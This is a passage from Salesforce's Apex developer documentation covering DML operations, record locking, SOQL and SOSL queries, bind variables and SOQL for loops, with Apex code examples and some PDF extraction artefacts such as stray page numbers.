operation fails with the error message, “Too many batch retries in the presence of Apex triggers and partial failures.”
Note: Note the following:

– During the second and third attempts, governor limits are reset to their original state before the first attempt. See Execution
Governors and Limits on page 275.
– Apex triggers are fired for the first save attempt, and if errors are encountered for some records and subsequent attempts
are made to save the subset of successful records, triggers are re-fired on this subset of records.
Things You Should Know about Data in Apex

Non-Null Required Fields Values and Null Fields
When inserting new records or updating required fields on existing records, you must supply non-null values for all required fields.
Unlike the SOAP API, Apex allows you to change field values to null without updating the fieldsToNull array on the sObject
record. The API requires an update to this array due to the inconsistent handling of null values by many SOAP providers. Because
Apex runs solely on the Force.com platform, this workaround is unnecessary.
DML Not Supported with Some sObjects
DML operations are not supported with certain sObjects. See sObjects That Don’t Support DML Operations.
String Field Truncation and API Version
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value
that is too long for the field.
139
sObject Properties to Enable DML Operations

To be able to insert, update, delete, or undelete an sObject record, the sObject must have the corresponding property (createable,
updateable, deletable, or undeletable respectively) set to true.
ID Values
The insert statement automatically sets the ID value of all new sObject records. Inserting a record that already has an ID—and
therefore already exists in your organization's data—produces an error. See Lists for more information.
The insert and update statements check each batch of records for duplicate ID values. If there are duplicates, the first five are
processed. For the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with an error similar to the following:
Maximum number of duplicate updates in one batch (5 allowed). Attempt to update Id
more than once in this API call: number_of_attempts.
The ID of an updated sObject record cannot be modified in an update statement, but related record IDs can.
Fields With Unique Constraints
For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example,
inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have
unique names.
System Fields Automatically Set
When inserting new records, system fields such as CreatedDate, CreatedById, and SystemModstamp are automatically
updated. You cannot explicitly specify these values in your Apex. Similarly, when updating records, system fields such as
LastModifiedDate, LastModifiedById, and SystemModstamp are automatically updated.
Maximum Number of Records Processed by DML Statement
You can pass a maximum of 10,000 sObject records to a single insert, update, delete, and undelete method.
Each upsert statement consists of two operations, one for inserting records and one for updating records. Each of these operations
is subject to the runtime limits for insert and update, respectively. For example, if you upsert more than 10,000 records and
all of them are being updated, you receive an error. (See Execution Governors and Limits on page 275)
Upsert and Foreign Keys
You can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see Field Types
in the Object Reference for Salesforce and Force.com.
Creating Records for Multiple Object Types
As with the SOAP API, you can create records in Apex for multiple object types, including custom objects, in one DML call with API
version 20.0 and later. For example, you can create a contact and an account in one call. You can create records for up to 10 object
types in one call.
Records are saved in the same order that they’re entered in the sObject input array. If you’re entering new records that have a
parent-child relationship, the parent record must precede the child record in the array. For example, if you’re creating a contact that
references an account that’s also being created in the same call, the account must have a smaller index in the array than the contact
does. The contact references the account by using an External ID field.
You can’t add a record that references another record of the same object type in the same call. For example, the Contact object has
a Reports To field that’s a reference to another contact. You can’t create two contacts in one call if one contact uses the
Reports To field to reference a second contact in the input array. You can create a contact that references another contact that
has been previously created.
Records for multiple object types are broken into multiple chunks by Salesforce. A chunk is a subset of the input array, and each
chunk contains records of one object type. Data is committed on a chunk-by-chunk basis. Any Apex triggers that are related to the
records in a chunk are invoked once per chunk. Consider an sObject input array that contains the following set of records:
account1, account2, contact1, contact2, contact3, case1, account3, account4, contact4
140
Salesforce splits the records into five chunks:

1. account1, account2
2. contact1, contact2, contact3
3. case1
4. account3, account4
5. contact4
Each call can process up to 10 chunks. If the sObject array contains more than 10 chunks, you must process the records in more than
one call. For additional information about this feature, see Creating Records for Different Object Types in the SOAP API Developer's
Guide.
Note: For Apex, the chunking of the input array for an insert or update DML operation has two possible causes: the existence
of multiple object types or the default chunk size of 200. If chunking in the input array occurs because of both of these reasons,
each chunk is counted toward the limit of 10 chunks. If the input array contains only one type of sObject, you won’t hit this
limit. However, if the input array contains at least two sObject types and contains a high number of objects that are chunked
into groups of 200, you might hit this limit. For example, if you have an array that contains 1,001 consecutive leads followed
by 1,001 consecutive contacts, the array will be chunked into 12 groups: Two groups are due to the different sObject types of
Lead and Contact, and the remaining are due to the default chunking size of 200 objects. In this case, the insert or update
operation returns an error because you reached the limit of 10 chunks in hybrid arrays. The workaround is to call the DML
operation for each object type separately.
DML and Knowledge Objects
To execute DML code on knowledge articles (KnowledgeArticleVersion types such as the custom FAQ__kav article type), the running
user must have the Knowledge User feature license. Otherwise, calling a class method that contains DML operations on knowledge
articles results in errors. If the running user isn’t a system administrator and doesn’t have the Knowledge User feature license, calling
any method in the class returns an error even if the called method doesn’t contain DML code for knowledge articles but another
method in the class does. For example, the following class contains two methods, only one of which performs DML on a knowledge
article. A non-administrator non-knowledge user who calls the doNothing method will get the following error: DML operation
UPDATE not allowed on FAQ__kav
public class KnowledgeAccess {
public void doNothing() {

}
public void DMLOperation() {

FAQ__kav[] articles = [SELECT Id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
Language = 'en_US'];
update articles;
}
As a workaround, cast the input array to the DML statement from an array of FAQ__kav articles to an array of the generic sObject
type as follows:
public void DMLOperation() {
FAQ__kav[] articles = [SELECT id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
Language = 'en_US'];
update (sObject[]) articles;
}
141
Locking Records
When an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface.
The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won’t be
changed by another client during the lock period.
IN THIS SECTION:
Locking Statements
In Apex, you can use FOR UPDATE to lock sObject records while they’re being updated in order to prevent race conditions and
other thread safety problems.
Locking in a SOQL For Loop
Avoiding Deadlocks
Locking Statements
In Apex, you can use FOR UPDATE to lock sObject records while they’re being updated in order to prevent race conditions and other
thread safety problems.
While an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface.
The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won’t be
changed by another client during the lock period. The lock gets released when the transaction completes.
To lock a set of sObject records in Apex, embed the keywords FOR UPDATE after any inline SOQL statement. For example, the following
statement, in addition to querying for two accounts, also locks the accounts that are returned:
Account [] accts = [SELECT Id FROM Account LIMIT 2 FOR UPDATE];
Note: You can’t use the ORDER BY keywords in any SOQL query that uses locking.
Locking Considerations
• While the records are locked by a client, the locking client can modify their field values in the database in the same transaction. Other
clients have to wait until the transaction completes and the records are no longer locked before being able to update the same
records. Other clients can still query the same records while they’re locked.
• If you attempt to lock a record currently locked by another client, your process waits for the lock to be released before acquiring a
new lock. If the lock isn’t released within 10 seconds, you will get a QueryException. Similarly, if you attempt to update a record
currently locked by another client and the lock isn’t released within 10 seconds, you will get a DmlException.
• If a client attempts to modify a locked record, the update operation might succeed if the lock gets released within a short amount
of time after the update call was made. In this case, it is possible that the updates will overwrite those made by the locking client if
the second client obtained an old copy of the record. To prevent this from happening, the second client must lock the record first.
The locking process returns a fresh copy of the record from the database through the SELECT statement. The second client can
use this copy to make new updates.
• When you perform a DML operation on one record, related records are locked in addition to the record in question. For more
information, see the Record Locking Cheat Sheet.
Warning: Use care when setting locks in your Apex code. See Avoiding Deadlocks.
142
Locking in a SOQL For Loop

The FOR UPDATE keywords can also be used within SOQL for loops. For example:
for (Account[] accts : [SELECT Id FROM Account
FOR UPDATE]) {
// Your code
}
As discussed in SOQL For Loops, the example above corresponds internally to calls to the query() and queryMore() methods
in the SOAP API.
Note that there is no commit statement. If your Apex trigger completes successfully, any database changes are automatically committed.
If your Apex trigger does not complete successfully, any changes made to the database are rolled back.
Avoiding Deadlocks
Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple database tables or
rows. To avoid such deadlocks, the Apex runtime engine:
1. First locks sObject parent records, then children.
2. Locks sObject records in order of ID when multiple records of the same type are being edited.
As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard deadlock
avoidance techniques by accessing tables and rows in the same order from all locations in an application.
SOQL and SOSL Queries

You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in Apex
by surrounding the statement in square brackets.
SOQL Statements
SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for count method queries.
For example, you could retrieve a list of accounts that are named Acme:
List<Account> aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme'];
From this list, you can access individual elements:

if (!aa.isEmpty()) {
// Execute commands
}
You can also create new objects from SOQL queries on existing ones. The following example creates a new contact for the first account
with the number of employees greater than 10:
Contact c = new Contact(Account = [SELECT Name FROM Account
WHERE NumberOfEmployees > 10 LIMIT 1]);
c.FirstName = 'James';
c.LastName = 'Yoyce';
Note that the newly created object contains null values for its fields, which will need to be set.
143
The count method can be used to return the number of rows returned by a query. The following example returns the total number
of contacts with the last name of Weissman:
Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman'];
You can also operate on the results using standard arithmetic:

Integer j = 5 * [SELECT COUNT() FROM Account];
SOQL limits apply when executing SOQL queries. See Execution Governors and Limits.
For a full description of SOQL query syntax, see the Salesforce SOQL and SOSL Reference Guide.
SOSL Statements
SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result
lists are always returned in the same order as they were specified in the SOSL query. If a SOSL query does not return any records for a
specified sObject type, the search results include an empty list for that sObject.
For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map:
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];
Note: The syntax of the FIND clause in Apex differs from the syntax of the FIND clause in the SOAP API and REST API :
• In Apex, the value of the FIND clause is demarcated with single quotes. For example:
FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead
• In the Force.com API, the value of the FIND clause is demarcated with braces. For example:
FIND {map*} IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead
From searchList, you can create arrays for each object returned:
Account [] accounts = ((List<Account>)searchList[0]);
Contact [] contacts = ((List<Contact>)searchList[1]);
Opportunity [] opportunities = ((List<Opportunity>)searchList[2]);
Lead [] leads = ((List<Lead>)searchList[3]);
SOSL limits apply when executing SOSL queries. See Execution Governors and Limits.
For a full description of SOSL query syntax, see the Salesforce SOQL and SOSL Reference Guide.
IN THIS SECTION:
1. Working with SOQL and SOSL Query Results
2. Accessing sObject Fields Through Relationships
3. Understanding Foreign Key and Parent-Child Relationship SOQL Queries
4. Working with SOQL Aggregate Functions
5. Working with Very Large SOQL Queries
6. Using SOQL Queries That Return One Record
7. Improve Performance by Avoiding Null Values
144
8. Working with Polymorphic Relationships in SOQL Queries

A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types. For
example, the What relationship field of an Event could be an Account, a Campaign, or an Opportunity.
9. Using Apex Variables in SOQL and SOSL Queries
10. Querying All Records with a SOQL Statement
Working with SOQL and SOSL Query Results

SOQL and SOSL queries only return data for sObject fields that are selected in the original query. If you try to access a field that was not
selected in the SOQL or SOSL query (other than ID), you receive a runtime error, even if the field contains a value in the database. The
following code example causes a runtime error:
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is not selected
String name = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1].Name;
The following is the same code example rewritten so it does not produce a runtime error. Note that Name has been added as part of
the select statement, after Id.
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is now selected
String name = [SELECT Id, Name FROM Account WHERE Name = 'Singha' LIMIT 1].Name;
Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently, you must
dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a SOQL query, accesses
the first account record in the list, and then dereferences the record's AnnualRevenue field:
Double rev = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme'][0].AnnualRevenue;
// When only one result is returned in a SOQL query, it is not necessary

// to include the list's index.
Double rev2 = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme' LIMIT 1].AnnualRevenue;
The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the query returns
an Integer as the result of a COUNT operation:
Integer i = [SELECT COUNT() FROM Account];
Fields in records returned by SOSL queries must always be dereferenced.

Also note that sObject fields that contain formulas return the value of the field at the time the SOQL or SOSL query was issued. Any
changes to other fields that are used within the formula are not reflected in the formula field value until the record has been saved and
re-queried in Apex. Like other read-only sObject fields, the values of the formula fields themselves cannot be changed in Apex.
Accessing sObject Fields Through Relationships

sObject records represent relationships to other records with two fields: an ID and an address that points to a representation of the
associated sObject. For example, the Contact sObject has both an AccountId field of type ID, and an Account field of type Account
that points to the associated sObject record itself.
145
The ID field can be used to change the account with which the contact is associated, while the sObject reference field can be used to
access data from the account. The reference field is only populated as the result of a SOQL or SOSL query (see note).
For example, the following Apex code shows how an account and a contact can be associated with one another, and then how the
contact can be used to modify a field on the account:
Note: To provide the most complete example, this code uses some elements that are described later in this guide:
• For information on insert and update, see Insert Statement on page 621 and Update Statement on page 621.
Account a = new Account(Name = 'Acme');

insert a; // Inserting the record automatically assigns a
// value to its ID field
Contact c = new Contact(LastName = 'Weissman');
c.AccountId = a.Id;
// The new contact now points at the new account
insert c;
// A SOQL query accesses data for the inserted contact,

// including a populated c.account field
c = [SELECT Account.Name FROM Contact WHERE Id = :c.Id];
// Now fields in both records can be changed through the contact

c.Account.Name = 'salesforce.com';
c.LastName = 'Roth';
// To update the database, the two types of records must be

// updated separately
update c; // This only changes the contact's last name
update c.Account; // This updates the account name
Note: The expression c.Account.Name, and any other expression that traverses a relationship, displays slightly different
characteristics when it is read as a value than when it is modified:
• When being read as a value, if c.Account is null, then c.Account.Name evaluates to null, but does not yield a
NullPointerException. This design allows developers to navigate multiple relationships without the tedium of having
to check for null values.
• When being modified, if c.Account is null, then c.Account.Name does yield a NullPointerException.
In SOSL, you would access data for the inserted contact in a similar way to the SELECT statement used in the previous SOQL example.
List<List<SObject>> searchList = [FIND 'Acme' IN ALL FIELDS RETURNING
Contact(id,Account.Name)]
In addition, the sObject field key can be used with insert, update, or upsert to resolve foreign keys by external ID. For example:
Account refAcct = new Account(externalId__c = '12345');
Contact c = new Contact(Account = refAcct, LastName = 'Kay');
insert c;
This inserts a new contact with the AccountId equal to the account with the external_id equal to ‘12345’. If there is no such
account, the insert fails.
146
Tip: The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If this code
was called multiple times, it could reach the execution limit for the maximum number of SOQL queries. For more information on
execution limits, see Execution Governors and Limits on page 275.
Account refAcct = [SELECT Id FROM Account WHERE externalId__c='12345'];
Contact c = new Contact(Account = refAcct.Id);
insert c;
Understanding Foreign Key and Parent-Child Relationship SOQL Queries

The SELECT statement of a SOQL query can be any valid SOQL statement, including foreign key and parent-child record joins. If foreign
key joins are included, the resulting sObjects can be referenced using normal field notation. For example:
System.debug([SELECT Account.Name FROM Contact
WHERE FirstName = 'Caroline'].Account.Name);
Additionally, parent-child relationships in sObjects act as SOQL queries as well. For example:
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts)
FROM Account
WHERE Name = 'Acme']) {
Contact[] cons = a.Contacts;
}
//The following example also works because we limit to only 1 contact

for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts LIMIT 1)
FROM Account
WHERE Name = 'testAgg']) {
Contact c = a.Contacts;
}
Working with SOQL Aggregate Functions

Aggregate functions in SOQL, such as SUM() and MAX(), allow you to roll up and summarize your data in a query. For more information
on aggregate functions, see “Aggregate Functions” in the Salesforce SOQL and SOSL Reference Guide.
You can use aggregate functions without using a GROUP BY clause. For example, you could use the AVG() aggregate function to
find the average Amount for all your opportunities.
AggregateResult[] groupedResults
= [SELECT AVG(Amount)aver FROM Opportunity];
Object avgAmount = groupedResults[0].get('aver');
Note that any query that includes an aggregate function returns its results in an array of AggregateResult objects. AggregateResult is a
read-only sObject and is only used for query results.
Aggregate functions become a more powerful tool to generate reports when you use them with a GROUP BY clause. For example,
you could find the average Amount for all your opportunities by campaign.
AggregateResult[] groupedResults
= [SELECT CampaignId, AVG(Amount)
FROM Opportunity
GROUP BY CampaignId];
147
for (AggregateResult ar : groupedResults) {

System.debug('Campaign ID' + ar.get('CampaignId'));
System.debug('Average amount' + ar.get('expr0'));
}
Any aggregated field in a SELECT list that does not have an alias automatically gets an implied alias with a format expri, where i
denotes the order of the aggregated fields with no explicit aliases. The value of i starts at 0 and increments for every aggregated field
with no explicit alias. For more information, see “Using Aliases with GROUP BY” in the Salesforce SOQL and SOSL Reference Guide.
Note: Queries that include aggregate functions are subject to the same governor limits as other SOQL queries for the total number
of records returned. This limit includes any records included in the aggregation, not just the number of rows returned by the query.
If you encounter this limit, you should add a condition to the WHERE clause to reduce the amount of records processed by the
query.
Working with Very Large SOQL Queries

Your SOQL query sometimes returns so many sObjects that the limit on heap size is exceeded and an error occurs. To resolve, use a SOQL
query for loop instead, since it can process multiple batches of records by using internal calls to query and queryMore.
For example, if the results are too large, this syntax causes a runtime exception:
Account[] accts = [SELECT Id FROM Account];
Instead, use a SOQL query for loop as in one of the following examples:
// Use this format if you are not executing DML statements
// within the for loop
for (Account a : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code without DML statements here
}
// Use this format for efficiency if you are executing DML statements
// within the for loop
for (List<Account> accts : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code here
update accts;
}
The following example demonstrates a SOQL query for loop that’s used to mass update records. Suppose that you want to change
the last name of a contact in records for contacts whose first and last names match specified criteria:
public void massUpdate() {
for (List<Contact> contacts:
[SELECT FirstName, LastName FROM Contact]) {
for(Contact c : contacts) {
if (c.FirstName == 'Barbara' &&
c.LastName == 'Gordon') {
c.LastName = 'Wayne';
}
}
update contacts;
}
}
148
Instead of using a SOQL query in a for loop, the preferred method of mass updating records is to use batch Apex, which minimizes
the risk of hitting governor limits.
For more information, see SOQL For Loops on page 154.
More Efficient SOQL Queries

For best performance, SOQL queries must be selective, particularly for queries inside triggers. To avoid long execution times, the system
can terminate nonselective SOQL queries. Developers receive an error message when a non-selective query in a trigger executes against
an object that contains more than 200,000 records. To avoid this error, ensure that the query is selective.
Selective SOQL Query Criteria
• A query is selective when one of the query filters is on an indexed field and the query filter reduces the resulting number of rows
below a system-defined threshold. The performance of the SOQL query improves when two or more filters used in the WHERE
clause meet the mentioned conditions.
• The selectivity threshold is 10% of the first million records and less than 5% of the records after the first million records, up to a
maximum of 333,333 records. In some circumstances, for example with a query filter that is an indexed standard field, the
threshold can be higher. Also, the selectivity threshold is subject to change.
Custom Index Considerations for Selective SOQL Queries
• The following fields are indexed by default.
– Primary keys (Id, Name, and OwnerId fields)
– Foreign keys (lookup or master-detail relationship fields)
– Audit dates (CreatedDate and SystemModstamp fields)
– RecordType fields (indexed for all standard objects that feature them)
– Custom fields that are marked as External ID or Unique
• When the Salesforce optimizer recognizes that an index can improve performance for frequently run queries, fields that aren’t
indexed by default are automatically indexed.
• Salesforce Support can add custom indexes on request for customers.
• A custom index can't be created on these types of fields: multi-select picklists, currency fields in a multicurrency organization,
long text fields, some formula fields, and binary fields (fields of type blob, file, or encrypted text.) New data types, typically complex
ones, are periodically added to Salesforce, and fields of these types don’t always allow custom indexing.
• You can’t create custom indexes on formula fields that include invocations of the TEXT function on picklist fields.
• Typically, a custom index isn’t used in these cases.
– The queried values exceed the system-defined threshold.
– The filter operator is a negative operator such as NOT EQUAL TO (or !=), NOT CONTAINS, and NOT STARTS
WITH.
– The CONTAINS operator is used in the filter, and the number of rows to be scanned exceeds 333,333. The CONTAINS
operator requires a full scan of the index. This threshold is subject to change.
– You’re comparing with an empty value (Name != '').
However, there are other complex scenarios in which custom indexes can’t be used. Contact your Salesforce representative if
your scenario isn't covered by these cases or if you need further assistance with non-selective queries.
Examples of Selective SOQL Queries

To better understand whether a query on a large object is selective or not, let's analyze some queries. For these queries, assume that
there are more than 200,000 records for the Account sObject. These records include soft-deleted records, that is, deleted records
that are still in the Recycle Bin.
149
Query 1:
SELECT Id FROM Account WHERE Id IN (<list of account IDs>)
The WHERE clause is on an indexed field (Id). If SELECT COUNT() FROM Account WHERE Id IN (<list of
account IDs>) returns fewer records than the selectivity threshold, the index on Id is used. This index is typically used when
the list of IDs contains only a few records.
Query 2:
SELECT Id FROM Account WHERE Name != ''
Since Account is a large object even though Name is indexed (primary key), this filter returns most of the records, making the query
non-selective.
Query 3:
SELECT Id FROM Account WHERE Name != '' AND CustomField__c = 'ValueA'
Here we have to see if each filter, when considered individually, is selective. As we saw in the previous example, the first filter isn't
selective. So let's focus on the second one. If the count of records returned by SELECT COUNT() FROM Account WHERE
CustomField__c = 'ValueA' is lower than the selectivity threshold, and CustomField__c is indexed, the query is selective.
Using SOQL Queries That Return One Record

SOQL queries can be used to assign a single sObject value when the result list contains only one element. When the L-value of an
expression is a single sObject type, Apex automatically assigns the single sObject record in the query result list to the L-value. A runtime
exception results if zero sObjects or more than one sObject is found in the list. For example:
List<Account> accts = [SELECT Id FROM Account];
// These lines of code are only valid if one row is returned from
// the query. Notice that the second line dereferences the field from the
// query without assigning it to an intermediary sObject variable.
Account acct = [SELECT Id FROM Account];
String name = [SELECT Name FROM Account].Name;
Improve Performance by Avoiding Null Values

In your SOQL and SOSL queries, explicitly filtering out null values in the WHERE clause allows Salesforce to improve query performance.
In the following example, any records where the Thread__c value is null are eliminated from the search.
Public class TagWS {
/* getThreadTags
*
* a quick method to pull tags not in the existing list
*
*/
public static webservice List<String>
getThreadTags(String threadId, List<String> tags) {
system.debug(LoggingLevel.Debug,tags);
List<String> retVals = new List<String>();

Set<String> tagSet = new Set<String>();
150
Set<String> origTagSet = new Set<String>();

origTagSet.addAll(tags);
// Note WHERE clause optimizes search where Thread__c is not null
for(CSO_CaseThread_Tag__c t :
[SELECT Name FROM CSO_CaseThread_Tag__c
WHERE Thread__c = :threadId AND
Thread__c != null])
{
tagSet.add(t.Name);
}
for(String x : origTagSet) {
// return a minus version of it so the UI knows to clear it
if(!tagSet.contains(x)) retVals.add('-' + x);
}
for(String x : tagSet) {
// return a plus version so the UI knows it's new
if(!origTagSet.contains(x)) retvals.add('+' + x);
}
return retVals;
}
}
Working with Polymorphic Relationships in SOQL Queries

A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types. For example,
the What relationship field of an Event could be an Account, a Campaign, or an Opportunity.
The following describes how to use SOQL queries with polymorphic relationships in Apex. If you want more general information on
polymorphic relationships, see Understanding Polymorphic Keys and Relationships in the Force.com SOQL and SOSL Reference.
You can use SOQL queries that reference polymorphic fields in Apex to get results that depend on the object type referenced by the
polymorphic field. One approach is to filter your results using the Type qualifier. This example queries Events that are related to an
Account or Opportunity via the What field.
List<Event> events = [SELECT Description FROM Event WHERE What.Type IN ('Account',
'Opportunity')];
Another approach would be to use the TYPEOF clause in the SOQL SELECT statement. This example also queries Events that are
related to an Account or Opportunity via the What field.
List<Event> events = [SELECT TYPEOF What WHEN Account THEN Phone WHEN Opportunity THEN
Amount END FROM Event];
Note: TYPEOF is currently available as a Developer Preview as part of the SOQL Polymorphism feature. For more information
on enabling TYPEOF for your organization, contact Salesforce.
These queries will return a list of sObjects where the relationship field references the desired object types.
151
If you need to access the referenced object in a polymorphic relationship, you can use the instanceof keyword to determine the object
type. The following example uses instanceof to determine whether an Account or Opportunity is related to an Event.
Event myEvent = eventFromQuery;
if (myEvent.What instanceof Account) {
// myEvent.What references an Account, so process accordingly
} else if (myEvent.What instanceof Opportunity) {
// myEvent.What references an Opportunity, so process accordingly
}
Note that you must assign the referenced sObject that the query returns to a variable of the appropriate type before you can pass it to
another method. The following example queries for User or Group owners of Merchandise__c custom objects using a SOQL query with
a TYPEOF clause, uses instanceof to determine the owner type, and then assigns the owner objects to User or Group type
variables before passing them to utility methods.
public class PolymorphismExampleClass {
// Utility method for a User

public static void processUser(User theUser) {
System.debug('Processed User');
}
// Utility method for a Group

public static void processGroup(Group theGroup) {
System.debug('Processed Group');
}
public static void processOwnersOfMerchandise() {

// Select records based on the Owner polymorphic relationship field
List<Merchandise__c> merchandiseList = [SELECT TYPEOF Owner WHEN User THEN LastName
WHEN Group THEN Email END FROM Merchandise__c];
// We now have a list of Merchandise__c records owned by either a User or Group
for (Merchandise__c merch: merchandiseList) {
// We can use instanceof to check the polymorphic relationship type
// Note that we have to assign the polymorphic reference to the appropriate
// sObject type before passing to a method
if (merch.Owner instanceof User) {
User userOwner = merch.Owner;
processUser(userOwner);
} else if (merch.Owner instanceof Group) {
Group groupOwner = merch.Owner;
processGroup(groupOwner);
}
}
}
}
Using Apex Variables in SOQL and SOSL Queries

SOQL and SOSL statements in Apex can reference Apex code variables and expressions if they’re preceded by a colon (:). This use of a
local code variable within a SOQL or SOSL statement is called a bind. The Apex parser first evaluates the local variable in code context
before executing the SOQL or SOSL statement. Bind expressions can be used as:
• The search string in FIND clauses.
152
• The filter literals in WHERE clauses.

• The value of the IN or NOT IN operator in WHERE clauses, allowing filtering on a dynamic set of values. Note that this is of
particular use with a list of IDs or Strings, though it works with lists of any type.
• The division names in WITH DIVISION clauses.
• The numeric value in LIMIT clauses.
• The numeric value in OFFSET clauses.
Bind expressions can't be used with other clauses, such as INCLUDES.
For example:
Account A = new Account(Name='xxx');
insert A;
Account B;
// A simple bind
B = [SELECT Id FROM Account WHERE Id = :A.Id];
// A bind with arithmetic

B = [SELECT Id FROM Account
WHERE Name = :('x' + 'xx')];
String s = 'XXX';
// A bind with expressions

WHERE Name = :'XXXX'.substring(0,3)];
// A bind with an expression that is itself a query result

WHERE Name = :[SELECT Name FROM Account
WHERE Id = :A.Id].Name];
Contact C = new Contact(LastName='xxx', AccountId=A.Id);

insert new Contact[]{C, new Contact(LastName='yyy',
accountId=A.id)};
// Binds in both the parent and aggregate queries

B = [SELECT Id, (SELECT Id FROM Contacts
WHERE Id = :C.Id)
FROM Account
WHERE Id = :A.Id];
// One contact returned

Contact D = B.Contacts;
// A limit bind
Integer i = 1;
B = [SELECT Id FROM Account LIMIT :i];
// An OFFSET bind
Integer offsetVal = 10;
List<Account> offsetList = [SELECT Id FROM Account OFFSET :offsetVal];
153
// An IN-bind with an Id list. Note that a list of sObjects

// can also be used--the Ids of the objects are used for
// the bind
Contact[] cc = [SELECT Id FROM Contact LIMIT 2];
Task[] tt = [SELECT Id FROM Task WHERE WhoId IN :cc];
// An IN-bind with a String list

String[] ss = new String[]{'a', 'b'};
Account[] aa = [SELECT Id FROM Account
WHERE AccountNumber IN :ss];
// A SOSL query with binds in all possible clauses
String myString1 = 'aaa';

String myString2 = 'bbb';
Integer myInt3 = 11;
String myString4 = 'ccc';
Integer myInt5 = 22;
List<List<SObject>> searchList = [FIND :myString1 IN ALL FIELDS

RETURNING
Account (Id, Name WHERE Name LIKE :myString2
LIMIT :myInt3),
Contact,
Opportunity,
Lead
WITH DIVISION =:myString4
LIMIT :myInt5];
Note: Apex bind variables aren’t supported for the units parameter in DISTANCE or GEOLOCATION functions. This query
doesn’t work.
String units = 'mi';

List<Account> accountList =
[SELECT ID, Name, BillingLatitude, BillingLongitude
FROM Account
WHERE DISTANCE(My_Location_Field__c, GEOLOCATION(10,10), :units) < 10];
Querying All Records with a SOQL Statement

SOQL statements can use the ALL ROWS keywords to query all records in an organization, including deleted records and archived
activities. For example:
System.assertEquals(2, [SELECT COUNT() FROM Contact WHERE AccountId = a.Id ALL ROWS]);
You can use ALL ROWS to query records in your organization's Recycle Bin. You cannot use the ALL ROWS keywords with the FOR
UPDATE keywords.
SOQL For Loops

SOQL for loops iterate over all of the sObject records returned by a SOQL query.
154
The syntax of a SOQL for loop is either:
for (variable : [soql_query]) {

code_block
}
or
for (variable_list : [soql_query]) {

code_block
}
Both variable and variable_list must be of the same type as the sObjects that are returned by the soql_query.
As in standard SOQL queries, the [soql_query] statement can refer to code expressions in their WHERE clauses using the :
syntax. For example:
String s = 'Acme';
for (Account a : [SELECT Id, Name from Account
where Name LIKE :(s+'%')]) {
// Your code
}
The following example combines creating a list from a SOQL query, with the DML update method.
// Create a list of account records from a SOQL query
List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel'];
// Loop through the list and update the Name field

for(Account a : accs){
a.Name = 'Oracle';
}
// Update the database

update accs;
SOQL For Loops Versus Standard SOQL Queries

SOQL for loops differ from standard SOQL statements because of the method they use to retrieve sObjects. While the standard queries
discussed in SOQL and SOSL Queries can retrieve either the count of a query or a number of object records, SOQL for loops retrieve
all sObjects, using efficient chunking with calls to the query and queryMore methods of the SOAP API. Developers should always
use a SOQL for loop to process query results that return many records, to avoid the limit on heap size.
Note that queries including an aggregate function don't support queryMore. A run-time exception occurs if you use a query containing
an aggregate function that returns more than 2,000 rows in a for loop.
SOQL For Loop Formats

SOQL for loops can process records one at a time using a single sObject variable, or in batches of 200 sObjects at a time using an
sObject list:
• The single sObject format executes the for loop's <code_block> once per sObject record. Consequently, it is easy to understand
and use, but is grossly inefficient if you want to use data manipulation language (DML) statements within the for loop body. Each
DML statement ends up processing only one sObject at a time.
155
• The sObject list format executes the for loop's <code_block> once per list of 200 sObjects. Consequently, it is a little more
difficult to understand and use, but is the optimal choice if you need to use DML statements within the for loop body. Each DML
statement can bulk process a list of sObjects at a time.
For example, the following code illustrates the difference between the two types of SOQL query for loops:
// Create a savepoint because the data should not be committed to the database
Savepoint sp = Database.setSavepoint();
insert new Account[]{new Account(Name = 'yyy'),

new Account(Name = 'yyy'),
new Account(Name = 'yyy')};
// The single sObject format executes the for loop once per returned record
Integer i = 0;
for (Account tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
i++;
}
System.assert(i == 3); // Since there were three accounts named 'yyy' in the
// database, the loop executed three times
// The sObject list format executes the for loop once per returned batch
// of records
i = 0;
Integer j;
for (Account[] tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
j = tmp.size();
i++;
}
